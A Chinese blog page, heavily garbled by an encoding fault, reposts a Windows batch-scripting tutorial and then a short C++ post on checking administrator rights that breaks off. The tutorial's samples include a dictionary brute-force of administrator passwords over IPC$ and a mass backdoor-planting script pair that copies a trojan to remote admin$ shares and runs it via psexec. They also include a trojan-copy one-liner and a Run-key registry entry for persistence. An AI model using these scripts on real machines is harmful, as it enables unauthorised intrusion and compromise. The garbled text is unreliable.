调用外部E序Q所有的DOS命o(h)和命令行E序都可以由start命o(h)来调用?br />入R常用参数Q?br />MIN 开始时H口最化
SEPARATE 在分开的空间内开?16 ?Windows E序
HIGH ?HIGH 优先U类别开始应用程?br />REALTIME ?REALTIME 优先U类别开始应用程?br />WAIT 启动应用E序q等候它l束
parameters q些Z送到命o(h)/E序的参?br />执行的应用程序是 32-?GUI 应用E序ӞCMD.EXE 不等应用E序l止p回命令提C。如果在命o(h)脚本内执行,该新行ؓ(f)则不?x)发生?br />8.choice 命o(h)
choice 使用此命令可以让用户输入一个字W,从而运行不同的命o(h)。用时应该?c:参数Qc:后应写提C可输入的字W,之间无空根{它的返回码?234…?br />? choice /c:dme defrag,mem,end
显C?br />defrag,mem,end[D,M,E]?
SampleQ?br />Sample.bat的内容如?
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag Q应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c://dos//defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件运行后Q将昄 defrag,mem,end[D,M,E]? 用户可选择d m e Q然后if语句作出判断,d表示执行标号为defrag的程序段Qm表示执行标号为mem的程序段Qe表示执行标号为end的程序段Q每个程序段最后都以goto end程序蟩到end标号处,然后E序显Cgood byeQ文件结束?/p>

9.If 命o(h)

if 表示判断是否符合规定的条gQ从而决定执行不同的命o(h)?有三U格?
1、if "参数" == "字符?  待执行的命o(h)
参数如果{于指定的字W串Q则条g成立Q运行命令,否则q行下一句?注意是两个等P
如if "%1"=="a" format a:
if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms

2、if exist 文g名  待执行的命o(h)
如果有指定的文gQ则条g成立Q运行命令,否则q行下一句?br />如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字  待执行的命o(h)
如果q回码等于指定的数字Q则条g成立Q运行命令,否则q行下一句?br />如if errorlevel 2 goto x2  
DOSE序q行旉?x)返回一个数字给DOSQ称为错误码errorlevel或称q回码,常见的返回码???/p>

10.for 命o(h)
for 命o(h)是一个比较复杂的命o(h)Q主要用于参数在指定的范围内循环执行命o(h)?br />在批处理文g中?FOR 命o(h)Ӟ指定变量请?%%variable

for { %variable|%%variable } in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数?br />(set) 指定一个或一l文件。可以用通配W?br />command 指定Ҏ(gu)个文件执行的命o(h)?br />command-parameters 为特定命令指定参数或命o(h)行开兟?br />在批处理文g中?FOR 命o(h)Ӟ指定变量请?%%variable
而不要用 %variable。变量名U是区分大小写的Q所?%i 不同?%I

如果命o(h)扩展名被启用Q下列额外的 FOR 命o(h)格式?x)受?br />支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配W,则指定与目录名匹配,而不与文?br />名匹配?/p>

FOR /R [[drive:]path] %variable IN (set) DO command [command-

(g)查以 [drive:]path 为根的目录树(wi)Q指向每个目录中?br />FOR 语句。如果在 /R 后没有指定目录,则用当?br />目录。如果集仅ؓ(f)一个单?.)字符Q则枚D该目录树(wi)?/p>

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量Ş式从开始到l束的一个数字序列?br />因此Q?1,1,5) 生序?1 2 3 4 5Q?5,-1,1) ?br />序列 (5 4 3 2 1)?/p>

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (/'command/') DO command

或者,如果?usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (/'command/') DO command

filenameset Z个或多个文g名。l到 filenameset 中的
下一个文件之前,每䆾文g都已被打开、读取ƈl过处理?br />处理包括d文gQ将其分成一行行的文字,然后每?br />解析成零或更多的W号。然后用已找到的W号字符串变量?br />调用 For 循环。以默认方式Q?F 通过每个文g的每一行中分开
的第一个空白符受蟩q空白行。?zhn)可通过指定可?"options"
参数替代默认解析操作。这个带引号的字W串包括一个或多个
指定不同解析选项的关键字。这些关键字?

eol=c - 指一个行注释字符的结?׃?
skip=n - 指在文g开始时忽略的行数?br />delims=xxx - 指分隔符集。这个替换了I格和蟩格键?br />默认分隔W集?br />tokens=x,y,m-n - 指每行的哪一个符可传递到每个q代
?for 本n。这?x)导致额外变量名U的
格式Z个范围。通过 nth W号指定 m
W号字符串中的最后一个字W星P
那么额外的变量将在最后一个符可析之
分配q接受行的保留文本?br />usebackq - 指定新语法已在下cL况中使用:
在作为命令执行一个后引号的字W串q且
引号字符为文字字W串命o(h)q允许在 fi
中用双引号扩v文g名称?/p>

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

?x)分?myfile.txt 中的每一行,忽略以分h头的那些行,?br />每行中的W二个和W三个符号传递给 for E序体;用逗号??br />I格定界W号。请注意Q这?for E序体的语句引用 %i ?br />取得W二个符P引用 %j 来取得第三个W号Q引?%k
来取得第三个W号后的所有剩余符受对于带有空格的文g
名,(zhn)需要用双引号将文g名括h。ؓ(f)了用q种方式来
用双引号Q?zhn)q需要?usebackq 选项Q否则,双引号会(x)
被理解成是用作定义某个要分析的字W串的?/p>

%i 专门?for 语句中得到说明,%j ?%k 是通过
tokens= 选项专门得到说明的。?zhn)可以通过 tokens= 一?br />指定最?26 个符P只要不试图说明一个高于字?/'z/' ?br />/'Z/' 的变量。请CQFOR 变量是单一字母、分大小写和全局的;
同时不能?52 个以上都在用中?/p>

(zhn)还可以在相dW串上?FOR /F 分析逻辑Q方法是Q?br />用单引号括号之间的 filenameset 括v来。这P该字W?br />串会(x)被当作一个文件中的一个单一输入行?/p>

最后,(zhn)可以用 FOR /F 命o(h)来分析命令的输出。方法是Q将
括号之间?filenameset 变成一个反括字W串。该字符串会(x)
被当作命令行Q传递到一个子 CMD.EXEQ其输出?x)被抓?br />内存Qƈ被当作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

?x)枚丑ֽ前环境中的环境变量名U?/p>

另外QFOR 变量参照的替换已被增强。?zhn)现在可以使用下?br />选项语法:

~I - 删除M引号(")Q扩?%I
%~fI - ?%I 扩充C个完全合格的路径?br />%~dI - 仅将 %I 扩充C个驱动器?br />%~pI - 仅将 %I 扩充C个\?br />%~nI - 仅将 %I 扩充C个文件名
%~xI - 仅将 %I 扩充C个文件扩展名
%~sI - 扩充的\径只含有短名
%~aI - ?%I 扩充到文件的文g属?br />%~tI - ?%I 扩充到文件的日期/旉
%~zI - ?%I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,q将 %I 扩充
到找到的W一个完全合格的名称。如果环境变?br />未被定义Q或者没有找到文Ӟ此组合键?x)扩?br />I字W串

可以l合修饰W来得到多重l果:

%~dpI - 仅将 %I 扩充C个驱动器号和路径
%~nxI - 仅将 %I 扩充C个文件名和扩展名
%~fsI - 仅将 %I 扩充C个带有短名的完整路径?br />%~dp$PATH:i - 查找列在路径环境变量的目录,q将 %I 扩充
到找到的W一个驱动器号和路径?br />%~ftzaI - ?%I 扩充到类D出线路的 DIR

在以上例子中Q?I ?PATH 可用其他有效数gѝ?~ 语法
用一个有效的 FOR 变量名终止。选取cM %I 的大写变量名
比较易读Q而且避免与不分大写的组合键h?/p>

以上是MS的官方帮助,下面我们丑և个例子来具体说明一下For命o(h)在入侵中的用途?/p>

sample2Q?/p>

利用For命o(h)来实现对一台目标Win2kL的暴力密码破解?br />我们用net use ////ip//ipc$ "password" /u:"administrator"来尝试这和目标主行连接,当成功时C密码?br />最主要的命令是一条:(x)for /f i% in (dict.txt) do net use ////ip//ipc$ "i%" /u:"administrator"
用i%来表Cadmin的密码,在dict.txt中这个取i%的值用net use 命o(h)来连接。然后将E序q行l果传递给find命o(h)Q-
for /f i%% in (dict.txt) do net use ////ip//ipc$ "i%%" /u:"administrator"|find ":命o(h)成功完成">>D://ok.txt Q这样就ko了?/p>

sample3Q?/p>

你有没有q手里有大量肉鸡{着你去U后门+木马呢?Q当数量特别多的时候,原本很开心的一件事都会(x)变得很郁P(x)Q。文章开头就谈到使用批处理文Ӟ可以化日常或重复性Q务。那么如何实现呢Q呵呵,看下M׃(x)明白了?/p>

主要命o(h)也只有一条:(x)Q在批处理文件中使用 FOR 命o(h)Ӟ指定变量使用 %%variableQ?br />@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1Q在q里它表C按序victim.txt中的内容传递给door.bat中的参数%i %j %k?br />而cultivate.bat无非是用net use命o(h)来徏立IPC$q接Qƈcopy木马Q后门到victimQ然后用q回码(If errorlever =Q来{选成功种植后门的LQƈecho出来Q或者echo到指定的文g?br />delims= 表示vivtim.txt中的内容是一I格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根?%i %%j %%k表示的对象来排列Q一般就?ip password username?br />代码雏ŞQ?br />--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------


------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use ////%1//ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe////%1//admin$//system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec ////%1 c://winnt//system32//windrv32.exe
@psexec ////%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
q只是一个自动种植后门批处理的雏形,两个批处理和后门E序QWindrv32.exeQ?PSexec.exe需攑֜l一目录?批处理内?br />可扩展,例如:加入清除日志+DDOS的功?加入定时d用户的功?更深入一点可以之具备自动传播功?蠕虫).此处不多做叙q?有兴的朋友可自行研I?

?如何在批处理文g中用参?br />批处理中可以使用参数Q一般从1%?9%q九(ji)个,当有多个参数旉要用shift来移动,q种情况q不多见Q我们就不考虑它了?br />sample1Qfomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
q个例子用于q箋地格式化几张软盘Q所以用的时候需在dosH口输入fomat.bat aQ呵?好像有点画蛇添了~^_^
sample2Q?br />当我们要建立一个IPC$q接地时候总要输入一大串命o(h)Q弄不好打错了Q所以我们不如把一些固定命令写入一个批处理Q把肉鸡地ip password username 当着参数来赋l这个批处理Q这样就不用每次都打命o(h)了?br />@echo off
@net use ////1%//ipc$ "2%" /u:"3%" 注意哦,q里PASSWORD是第二个参数?br />@if errorlevel 1 echo connection failed
怎么?使用参数q是比较单的吧?你这么帅一定学?x)了^_^.No.3
?如何使用l合命o(h)(Compound Command)

1.&

UsageQ第一条命?& W二条命?[& W三条命?..]

用这U方法可以同时执行多条命令,而不命令是否执行成?/p>

SampleQ?br />C://>dir z: & dir c://Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c://Ex4rch

2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif

2.&&

UsageQ第一条命?&& W二条命?[&& W三条命?..]

用这U方法可以同时执行多条命令,当碰到执行出错的命o(h)后将不执行后面的命o(h)Q如果一直没有出错则一直执行完所有命令;

SampleQ?br />C://>dir z: && dir c://Ex4rch
The system cannot find the path specified.

C://>dir c://Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c://Ex4rch

2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做备䆾的时候可能会(x)用到q种命o(h)?x)比较简单,如:(x)
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E://backup
如果q程服务器上存在backup.mdb文gQ就执行copy命o(h)Q若不存在该文g则不执行copy命o(h)。这U用法可以替换IF exist?Q)

3.||

UsageQ第一条命?|| W二条命?[|| W三条命?..]

用这U方法可以同时执行多条命令,当碰到执行正的命o(h)后将不执行后面的命o(h)Q如果没有出现正的命o(h)则一直执行完所有命令;

SampleQ?br />C://Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C://Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

l合命o(h)使用的例子:(x)
sampleQ?br />@copy trojan.exe ////%1//admin$//system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

四、管道命令的使用

1.| 命o(h)
UsageQ第一条命?| W二条命?[| W三条命?..]
第一条命令的l果作ؓ(f)W二条命令的参数来用,记得在unix中这U方式很常见?/p>

sampleQ?br />time /t>>D://IP.log
netstat -n -p tcp|find ":3389">>D://IP.log
start Explorer
看出来了么?用于l端服务允许我们为用戯定义起始的程序,来实现让用户q行下面q个batQ以获得d用户的IP?/p>

2.>?gt;>输出重定向命?br />一条命令或某个E序输出l果的重定向到特定文件中, > ?>>的区别在于,>?x)清除调原有文g中的内容后写入指定文Ӟ?gt;>只会(x)q加内容到指定文件中Q而不?x)改动其中的内容?/p>

sample1Q?br />echo hello world>c://hello.txt (stupid example?)

sample2:
时下DLL木马盛行Q我们知道system32是个捉迷藏的好地方,许多木马都削了脑袋往那里钻,DLL马也不例外,针对q一Ҏ(gu)们可以在安装好系l和必要的应用程序后Q对该目录下的EXE和DLL文g作一个记录:(x)
q行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
q样所有的EXE和DLL文g的名U都被分别记录到exeback.txt和dllback.txt?
日后如发现异怽用传l的Ҏ(gu)查不出问题时,则要考虑是不是系l中已经潜入DLL木马?
q时我们用同L(fng)命o(h)system32下的EXE和DLL文g记录到另外的exeback1.txt和dllback1.txt?然后q行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命o(h)比较前后两次的DLL和EXE文g,q将l果输入到diff.txt?,q样我们p发现一些多出来的DLL和EXE文g,然后通过查看创徏旉、版本、是否经q压~等p够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll后门DLL文g注销?再把它移到回收站里,若系l没有异常反映再之d删除或者提交给杀毒Y件公司?/p>

3.< ?gt;& ?lt;&
< 从文件中而不是从键盘中读入命令输入?br />>& 一个句柄的输出写入到另一个句柄的输入中?br /><& 从一个句柄读取输入ƈ其写入到另一个句柄输Z?br />q些q不常用Q也׃多做介绍?/p>

No.5
?如何用批处理文g来操作注册表

在入侵过E中l常回操作注册表的特定的键值来实现一定的目的Q例?Z辑ֈ隐藏后门、木马程序而删除Run下残余的键倹{或者创Z个服务用以加载后门。当然我们也?x)修?gu)册表来加固系l或者改变系l的某个属性,q些都需要我们对注册表操作有一定的了解。下面我们就先学?fn)一下如何?REG文g来操作注册表.(我们可以用批处理来生成一个REG文g)
关于注册表的操作Q常见的是创建、修攏V删除?/p>

1.创徏
创徏分ؓ(f)两种Q一U是创徏子项(Subkey)

我们创徏一个文Ӟ内容如下Q?/p>

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//hacker]

然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft下创Z一个名字ؓ(f)“hacker”的子项?/p>

另一U是创徏一个项目名U?br />那这U文件格式就是典型的文g格式Q和你从注册表中导出的文件格式一_(d)内容如下Q?/p>

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]
"Invader"="Ex4rch"
"Door"=C:////WINNT////system32////door.exe
"Autodos"=dword:02

q样在[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]?br />新徏?Invader、door、aboutq三个项?br />Invader的类型是“String Value?br />door的类型是“REG SZ Value?br />Autodos的类型是“DWORD Value?/p>


2.修改
修改相对来说比较单,只要把你需要修改的目导出Q然后用C本进行修改,然后导入Qregedit /sQ即可?/p>

3.删除
我们首先来说说删除一个项目名Uͼ我们创徏一个如下的文gQ?/p>

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]
"Ex4rch"=-

执行该脚本,[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]下的"Ex4rch"p删除了;

 

--------------------------------------------------------------------------------

以上{载内?/p>

%CD%   当前路径current directory
ITH305 http://www.cs.ntu.edu.au/homepages/bea/home/subjects/ith305/ith305.html
 
批处理copy特定名称目录的内容:(x)

shark的模块有二十六个Q源文g分散在各个文件夹(如下)。用eclipse阅读的话要一个个把src文g的内容导入到目中。在家摆弄的时候ȝ惛_个方法来自动copyq些文g?人家分类分得好好的,我把他们合ƈ在一Pq是搞破坏哈)
 
文g目录形式:
shark-1.1
    modules
        SharkAPI
            src
        SharkApplicationMapPersistence
            DODS
                src
            Hibernate
                src
    ...
 
cpysrc.dat
 
@echo off
if "X%1"=="X" goto initialize
goto becalled
:initialize
if exist subdirs.txt del subdirs.txt>nul
dir /d /b /a:d> subdirs.txt
for /f %%i in (subdirs.txt ) do call E:\Resource\shark-1.1\modules\cpysrc.bat %%i
del subdirs.txt>nul
goto end
:becalled
if "%1"=="src" xcopy src\*.* E:\JavaApp\Shark\src\ /s && goto end
cd %1
call E:\Resource\shark-1.1\modules\cpysrc.bat
cd ..
:end
 
在cpysrc.bat保存到E:\Resource\shark-1.1\modules\下ƈ执行可以。cpysrc.bat遍历当前目录下的所有目录,qcopy名ؓ(f)src文g夹下的所有内容到E:\JavaApp\Shark\src\?/p>

brent 2005-12-19 08:52 发表评论
]]>
NT下判断用h否有理员权?/title><link>http://www.shnenglu.com/aqazero/archive/2005/07/25/14197.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Mon, 25 Jul 2005 01:11:00 GMT</pubDate><guid>http://www.shnenglu.com/aqazero/archive/2005/07/25/14197.html</guid><wfw:comment>http://www.shnenglu.com/aqazero/comments/14197.html</wfw:comment><comments>http://www.shnenglu.com/aqazero/archive/2005/07/25/14197.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.shnenglu.com/aqazero/comments/commentRss/14197.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/aqazero/services/trackbacks/14197.html</trackback:ping><description><![CDATA[OK,  Thanks to Loaden found out that my original code to determine whether an user is in Administrators group is totally bullshit.<br><br>And after googling for a while, I found something and test it, simply works. I will just paste the code here. Thanks to the author and google and God.<br><br><a target="_blank" >http://www.mihai-nita.net/article.php?artID=20070413a</a><br> <div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; background-color: #eeeeee; font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #008000;">//</span><span style="color: #008000;"> IsAdminAPI.cpp : Tests if user is Administrator using plain Win32 API<br></span><span style="color: #008000;">//</span><span style="color: #008000;"> Copyright (c) April 2007, Mihai Nita<br></span><span style="color: #008000;">//<br></span><span style="color: #000000;"><br>#include </span><span style="color: #000000;"><</span><span style="color: #000000;">wtypes.h</span><span style="color: #000000;">></span><span style="color: #000000;"><br>#include </span><span style="color: #000000;"><</span><span style="color: #000000;">Lm.h</span><span style="color: #000000;">></span><span style="color: #000000;"><br><br></span><span style="color: #008000;">//</span><span style="color: #008000;"> for ASSERT</span><span style="color: #008000;"><br></span><span style="color: #000000;">#include </span><span style="color: #000000;"><</span><span style="color: #000000;">crtdbg.h</span><span style="color: #000000;">></span><span style="color: #000000;"><br><br>#include </span><span style="color: #000000;">"</span><span style="color: #000000;">IsAdminAPI.h</span><span style="color: #000000;">"</span><span style="color: #000000;"><br><br></span><span style="color: #0000ff;">bool</span><span style="color: #000000;"> IsAdminAPI( WCHAR </span><span style="color: #0000ff;">const</span><span style="color: #000000;"> </span><span style="color: #000000;">*</span><span style="color: #000000;">szUserName )<br>{<br>    _ASSERT(szUserName);<br><br>    </span><span style="color: #0000ff;">bool</span><span style="color: #000000;"> bAdmin </span><span style="color: #000000;">=</span><span style="color: #000000;"> FALSE;<br>    LOCALGROUP_USERS_INFO_0</span><span style="color: #000000;">*</span><span style="color: #000000;"> localGroups;<br>    DWORD entriesread, totalentries;<br>    NET_API_STATUS nts </span><span style="color: #000000;">=</span><span style="color: #000000;"> NetUserGetLocalGroups( NULL, szUserName, </span><span style="color: #000000;">0</span><span style="color: #000000;">, </span><span style="color: #000000;">0</span><span style="color: #000000;">, (unsigned </span><span style="color: #0000ff;">char</span><span style="color: #000000;">**</span><span style="color: #000000;">)</span><span style="color: #000000;">&</span><span style="color: #000000;">localGroups, MAX_PREFERRED_LENGTH, </span><span style="color: #000000;">&</span><span style="color: #000000;">entriesread, </span><span style="color: #000000;">&</span><span style="color: #000000;">totalentries);<br><br>    </span><span style="color: #0000ff;">if</span><span style="color: #000000;">( nts </span><span style="color: #000000;">!=</span><span style="color: #000000;"> NERR_Success ) {<br>        NetApiBufferFree(localGroups);<br>        </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> FALSE;<br>    }<br><br>    </span><span style="color: #008000;">//</span><span style="color: #008000;"> Retrieve the Administrators group well-known SID<br><br>    </span><span style="color: #008000;">//</span><span style="color: #008000;"> For some reason CreateWellKnownSid generates error C3861 on Developer Studio .NET:<br>    </span><span style="color: #008000;">//</span><span style="color: #008000;"> error C3861: 'CreateWellKnownSid': identifier not found, even with argument-dependent lookup</span><span style="color: #008000;"><br></span><span style="color: #000000;">    BYTE    SidAuth[] </span><span style="color: #000000;">=</span><span style="color: #000000;"> SECURITY_NT_AUTHORITY;<br>    PSID    pAdminSid;<br>    AllocateAndInitializeSid( (PSID_IDENTIFIER_AUTHORITY)SidAuth, <br>        </span><span style="color: #000000;">2</span><span style="color: #000000;">, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, <br>        NULL, NULL, NULL, NULL, NULL, NULL, </span><span style="color: #000000;">&</span><span style="color: #000000;">pAdminSid );<br><br>    </span><span style="color: #008000;">//</span><span style="color: #008000;"> Will use this to retrieve the SID of the group</span><span style="color: #008000;"><br></span><span style="color: #000000;">    BYTE    buffSid[SECURITY_MAX_SID_SIZE];<br>    wchar_t    buffDomain[DNLEN</span><span style="color: #000000;">+</span><span style="color: #000000;">1</span><span style="color: #000000;">];<br>    DWORD    dwSidSize;<br>    DWORD    dwDomainSize;<br>    SID_NAME_USE m_sidnameuse;<br><br>    </span><span style="color: #0000ff;">for</span><span style="color: #000000;">( DWORD i </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #000000;">0</span><span style="color: #000000;">; i </span><span style="color: #000000;"><</span><span style="color: #000000;"> entriesread; </span><span style="color: #000000;">++</span><span style="color: #000000;">i ) {<br>        dwSidSize </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #0000ff;">sizeof</span><span style="color: #000000;">(buffSid);<br>        dwDomainSize </span><span style="color: #000000;">=</span><span style="color: #000000;"> DNLEN;<br><br>        </span><span style="color: #008000;">//</span><span style="color: #008000;"> Although in general is a bad idea to call directly the W or A versions of API<br>        </span><span style="color: #008000;">//</span><span style="color: #008000;"> we do it here to avoid converting the localGroups[i].lgrui0_name back to ANSI<br>        </span><span style="color: #008000;">//</span><span style="color: #008000;"> This kind of security API is only present on NT/2000/XP family only, so<br>        </span><span style="color: #008000;">//</span><span style="color: #008000;"> the W version is present and safe to use</span><span style="color: #008000;"><br></span><span style="color: #000000;">        </span><span style="color: #0000ff;">if</span><span style="color: #000000;">( LookupAccountNameW( NULL, localGroups[i].lgrui0_name, buffSid, </span><span style="color: #000000;">&</span><span style="color: #000000;">dwSidSize, (LPWSTR)buffDomain, </span><span style="color: #000000;">&</span><span style="color: #000000;">dwDomainSize, </span><span style="color: #000000;">&</span><span style="color: #000000;">m_sidnameuse) ) </span><span style="color: #008000;">//</span><span style="color: #008000;"> no sid for the actual group</span><span style="color: #008000;"><br></span><span style="color: #000000;">            </span><span style="color: #0000ff;">if</span><span style="color: #000000;">( EqualSid( buffSid, pAdminSid ) ) {<br>                bAdmin </span><span style="color: #000000;">=</span><span style="color: #000000;"> TRUE;<br>                </span><span style="color: #0000ff;">break</span><span style="color: #000000;">;<br>            }<br>    }<br>    FreeSid( pAdminSid );<br>    NetApiBufferFree(localGroups);<br><br>    </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> bAdmin;<br>}<br></span></div> <br><br>注意有时我们只需要判断当前process是否以管理员权限q行。貌似可以通过调用GetTokenInformation 和AllocateAndInitializeSid 来判断,<br><br>google "Searching for a SID in an Access Token in C++" site:msdn.microsoft.com可找CD代? 误行研I自行测试?br><br> <div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; background-color: #eeeeee; font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #0000ff;">#define</span><span style="color: #000000;"> MAX_NAME 256</span><span style="color: #000000;"><br><br>BOOL SearchTokenGroupsForSID (VOID) <br>{<br>DWORD i, dwSize </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #000000;">0</span><span style="color: #000000;">, dwResult </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #000000;">0</span><span style="color: #000000;">;<br>HANDLE hToken;<br>PTOKEN_GROUPS pGroupInfo;<br>SID_NAME_USE SidType;<br></span><span style="color: #0000ff;">char</span><span style="color: #000000;"> lpName[MAX_NAME];<br></span><span style="color: #0000ff;">char</span><span style="color: #000000;"> lpDomain[MAX_NAME];<br>BYTE sidBuffer[</span><span style="color: #000000;">100</span><span style="color: #000000;">];<br>PSID pSID </span><span style="color: #000000;">=</span><span style="color: #000000;"> (PSID)</span><span style="color: #000000;">&</span><span style="color: #000000;">sidBuffer;<br>SID_IDENTIFIER_AUTHORITY SIDAuth </span><span style="color: #000000;">=</span><span style="color: #000000;"> SECURITY_NT_AUTHORITY;<br>   <br></span><span style="color: #008000;">//</span><span style="color: #008000;"> Open a handle to the access token for the calling process.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br></span><span style="color: #0000ff;">if</span><span style="color: #000000;"> (</span><span style="color: #000000;">!</span><span style="color: #000000;">OpenProcessToken( GetCurrentProcess(), TOKEN_QUERY, </span><span style="color: #000000;">&</span><span style="color: #000000;">hToken )) {<br>    printf( </span><span style="color: #000000;">"</span><span style="color: #000000;">OpenProcessToken Error %u\n</span><span style="color: #000000;">"</span><span style="color: #000000;">, GetLastError() );<br>    </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> FALSE;<br>}<br><br></span><span style="color: #008000;">//</span><span style="color: #008000;"> Call GetTokenInformation to get the buffer size.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br></span><span style="color: #0000ff;">if</span><span style="color: #000000;">(</span><span style="color: #000000;">!</span><span style="color: #000000;">GetTokenInformation(hToken, TokenGroups, NULL, dwSize, </span><span style="color: #000000;">&</span><span style="color: #000000;">dwSize)) {<br>    dwResult </span><span style="color: #000000;">=</span><span style="color: #000000;"> GetLastError();<br>    </span><span style="color: #0000ff;">if</span><span style="color: #000000;">( dwResult </span><span style="color: #000000;">!=</span><span style="color: #000000;"> ERROR_INSUFFICIENT_BUFFER ) {<br>        printf( </span><span style="color: #000000;">"</span><span style="color: #000000;">GetTokenInformation Error %u\n</span><span style="color: #000000;">"</span><span style="color: #000000;">, dwResult );<br>        </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> FALSE;<br>    }<br>}<br><br></span><span style="color: #008000;">//</span><span style="color: #008000;"> Allocate the buffer.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br>pGroupInfo </span><span style="color: #000000;">=</span><span style="color: #000000;"> (PTOKEN_GROUPS) GlobalAlloc( GPTR, dwSize );<br><br></span><span style="color: #008000;">//</span><span style="color: #008000;"> Call GetTokenInformation again to get the group information.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br></span><span style="color: #0000ff;">if</span><span style="color: #000000;">(</span><span style="color: #000000;">!</span><span style="color: #000000;"> GetTokenInformation(hToken, TokenGroups, pGroupInfo, <br>                        dwSize, </span><span style="color: #000000;">&</span><span style="color: #000000;">dwSize ) ) {<br>    printf( </span><span style="color: #000000;">"</span><span style="color: #000000;">GetTokenInformation Error %u\n</span><span style="color: #000000;">"</span><span style="color: #000000;">, GetLastError() );<br>    </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> FALSE;<br>   }<br><br></span><span style="color: #008000;">//</span><span style="color: #008000;"> Create a SID for the BUILTIN\Administrators group.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br></span><span style="color: #0000ff;">if</span><span style="color: #000000;">(</span><span style="color: #000000;">!</span><span style="color: #000000;"> AllocateAndInitializeSid( </span><span style="color: #000000;">&</span><span style="color: #000000;">SIDAuth, </span><span style="color: #000000;">2</span><span style="color: #000000;">,<br>                 SECURITY_BUILTIN_DOMAIN_RID,<br>                 DOMAIN_ALIAS_RID_ADMINS,<br>                 </span><span style="color: #000000;">0</span><span style="color: #000000;">, </span><span style="color: #000000;">0</span><span style="color: #000000;">, </span><span style="color: #000000;">0</span><span style="color: #000000;">, </span><span style="color: #000000;">0</span><span style="color: 